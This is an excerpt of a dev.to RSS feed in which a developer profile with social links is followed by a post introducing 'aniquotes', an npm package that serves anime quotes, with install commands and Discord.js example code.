&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041" alt="Electronics"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525"&gt;&lt;img src="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525" alt="Desgins"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025" alt="Web dev"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525"&gt;&lt;img src="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525" alt="Strategy"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt; Check out my work!: &lt;/b&gt; &lt;br&gt;
❯ Soundcloud : &lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;0c7av3h4ck5&lt;/a&gt; &lt;br&gt;
❯ Discord : &lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;{CyberArtByte}&lt;/a&gt;  &lt;br&gt;
❯ Artwork : &lt;a href="https://medibang.com/u/AcceleratorArts07/" rel="nofollow"&gt;AcceleratorArts07&lt;/a&gt; &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Recent Medium&lt;/b&gt;…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  
  
  Follow me!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/Yuma-Tsushima07"&gt;https://github.com/Yuma-Tsushima07&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/"&gt;https://0xv37r1x3r.medium.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SoundCloud: &lt;a href="https://soundcloud.com/0c7av3h4ck5"&gt;https://soundcloud.com/0c7av3h4ck5&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Discord Servers!!
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bounty Hunters&lt;/strong&gt;: An amazing bug hunting community full of developers and exploiters!!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.gg/J5PsgKqdWq"&gt;https://discord.gg/J5PsgKqdWq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CyberArtByte&lt;/strong&gt;: My server full of bling and joy!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.com/invite/mNAWykv67W"&gt;https://discord.com/invite/mNAWykv67W&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  New Soundcloud Track!!
&lt;/h3&gt;

&lt;p&gt;&lt;iframe width="100%" height="166" src="https://w.soundcloud.com/player/?url=https://soundcloud.com/0c7av3h4ck5/hack-with-your-heart-0c7av3h4ck5&amp;amp;auto_play=false&amp;amp;color=%23000000&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Author: Yuma-Tsushima&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>html</category>
    </item>
    <item>
      <title>[Node.js] Introducing Aniquotes</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Mon, 28 Jun 2021 10:38:16 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/node-js-introducing-aniquotes-2i5h</link>
      <guid>https://dev.to/yumatsushima07/node-js-introducing-aniquotes-2i5h</guid>
      <description>&lt;p&gt;Introducing Aniquotes! The one and only anime quote grabber. &lt;br&gt;
Aniquotes can collect and slice quotes out the mix, from characters and your favourites, &lt;code&gt;Attack on Titan&lt;/code&gt; and &lt;code&gt;Tokyo ghoul&lt;/code&gt;!&lt;br&gt;
You can use npm to install my module!&lt;br&gt;
Before you keep reading please star my repo bellow :)&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/aniquotes"&gt;
        aniquotes
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Collects anime quotes!
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
aniquotes&lt;/h1&gt;
&lt;p&gt;Collects anime quotes for node.js, discord.js
Who doesn't like a dose of anime from time to time, maybe a quote to motivate you?&lt;/p&gt;
&lt;p&gt;&lt;a href="https://npmjs.org/package/aniquotes-npm" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/5bb40a44db182ce952f2dead8602e425c6975ecd2f0a9e42faa61b0f404a18e5/68747470733a2f2f6e6f6465692e636f2f6e706d2f616e6971756f7465732d6e706d2e706e67" alt="NPM"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
Usage&lt;/h2&gt;
&lt;h3&gt;
Discord.js Example&lt;/h3&gt;
&lt;div class="highlight highlight-source-js position-relative js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt; MessageEmbed &lt;span class="pl-kos"&gt;}&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;require&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'discord.js'&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;
&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt; randomQuote &lt;span class="pl-kos"&gt;}&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;require&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'aniquotes-npm'&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;
&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt; searchAnime &lt;span class="pl-kos"&gt;}&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;require&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'node-kitsu'&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt; &lt;span class="pl-c"&gt;// credits to the person who made node-kitsu!!&lt;/span&gt;
&lt;span class="pl-smi"&gt;module&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-c1"&gt;exports&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt;
  &lt;span class="pl-c1"&gt;name&lt;/span&gt;: &lt;span class="pl-s"&gt;"aniquote"&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;
&lt;span class="pl-en"&gt;run&lt;/span&gt;: &lt;span class="pl-k"&gt;async&lt;/span&gt; &lt;span class="pl-kos"&gt;(&lt;/span&gt; &lt;span class="pl-s1"&gt;client&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt; &lt;span class="pl-s1"&gt;message&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt; &lt;span class="pl-c1"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt;
    &lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt; quote&lt;span class="pl-kos"&gt;,&lt;/span&gt; anime&lt;span class="pl-kos"&gt;,&lt;/span&gt; id&lt;span class="pl-kos"&gt;,&lt;/span&gt; name &lt;span class="pl-kos"&gt;}&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;randomQuote&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;

    &lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-s1"&gt;res&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-k"&gt;await&lt;/span&gt; &lt;span class="pl-en"&gt;searchAnime&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s1"&gt;anime&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;&lt;span class="pl-c1"&gt;0&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-en"&gt;catch&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-c1"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt; &lt;span class="pl-c1"&gt;||&lt;/span&gt; &lt;span class="pl-kos"&gt;[&lt;/span&gt;&lt;span class="pl-kos"&gt;]&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;

    &lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-s1"&gt;image&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;res&lt;/span&gt;&lt;span class="pl-kos"&gt;?.&lt;/span&gt;&lt;span class="pl-kos"&gt;[&lt;/span&gt;&lt;span class="pl-c1"&gt;0&lt;/span&gt;&lt;span class="pl-kos"&gt;]&lt;/span&gt;&lt;span class="pl-kos"&gt;?.&lt;/span&gt;&lt;span class="pl-c1"&gt;attributes&lt;/span&gt;&lt;span class="pl-kos"&gt;?.&lt;/span&gt;&lt;span class="pl-c1"&gt;coverImage&lt;/span&gt;&lt;span class="pl-kos"&gt;?.&lt;/span&gt;&lt;span class="pl-c1"&gt;original&lt;/span&gt; &lt;span class="pl-c1"&gt;||&lt;/span&gt; &lt;span class="pl-c1"&gt;null&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;

    &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-s1"&gt;message&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-c1"&gt;channel&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-en"&gt;send&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;
      &lt;span class="pl-k"&gt;new&lt;/span&gt; &lt;span class="pl-v"&gt;MessageEmbed&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;/pre&gt;…
&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/aniquotes"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  Getting Starting
&lt;/h2&gt;

&lt;p&gt;Firstly, you will need node.js to install and implement this package into your projects.&lt;/p&gt;

&lt;p&gt;Then use npm to install my module..&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install aniquotes-npm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;or ...&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm i aniquotes-npm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  How to use Aniquotes?
&lt;/h2&gt;

&lt;p&gt;You may ask to yourself, I have installed the module but how to use this? &lt;br&gt;
You may add it into your discord bot. &lt;/p&gt;
&lt;h3&gt;
  
  
  Example
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;MessageEmbed&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;discord.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;randomQuote&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;aniquotes-npm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;searchAnime&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node-kitsu&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// credits to the person who made node-kitsu!!&lt;/span&gt;
&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;aniquote&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;anime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;randomQuote&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;searchAnime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;anime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;?.[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]?.&lt;/span&gt;&lt;span class="nx"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;coverImage&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;original&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;MessageEmbed&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`#b60c0c`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Quoted from &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;anime&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;*`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;\n\n-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setTimestamp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setFooter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Made by Yuma-Tsushima07 with ❤️&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;This is freshly from my Discord bot by the way ;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You may use it like this also if you wanted to add it with your other projects.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;aniquote&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;aniquotes-npm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Shows a random anime quote&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;aniquote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;randomQuote&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="c1"&gt;// You can also fetch quotes by their id&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;aniquote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getQuote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;// Fetching quotes from an anime! Nice!!&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;aniquote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getQuotesByAnime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Tokyo Ghoul&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;// Who said you couldn't fetch quotes from a character!&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;aniquote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getQuotesByCharacter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Sakura Kinomoto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;For further examples check out my repo! Please drop a comment and star bellow!&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/aniquotes"&gt;
        aniquotes
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Collects anime quotes!
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
aniquotes&lt;/h1&gt;
&lt;p&gt;Collects anime quotes for node.js, discord.js
Who doesn't like a dose of anime from time to time, maybe a quote to motivate you?&lt;/p&gt;
&lt;p&gt;&lt;a href="https://npmjs.org/package/aniquotes-npm" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/5bb40a44db182ce952f2dead8602e425c6975ecd2f0a9e42faa61b0f404a18e5/68747470733a2f2f6e6f6465692e636f2f6e706d2f616e6971756f7465732d6e706d2e706e67" alt="NPM"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
Usage&lt;/h2&gt;
&lt;h3&gt;
Discord.js Example&lt;/h3&gt;
&lt;div class="highlight highlight-source-js position-relative js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt; MessageEmbed &lt;span class="pl-kos"&gt;}&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;require&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'discord.js'&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;
&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-kos"&gt;{&lt;/span&gt; randomQuote &lt;span class="pl-kos"&gt;}&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;require&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'aniquotes-npm'&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;
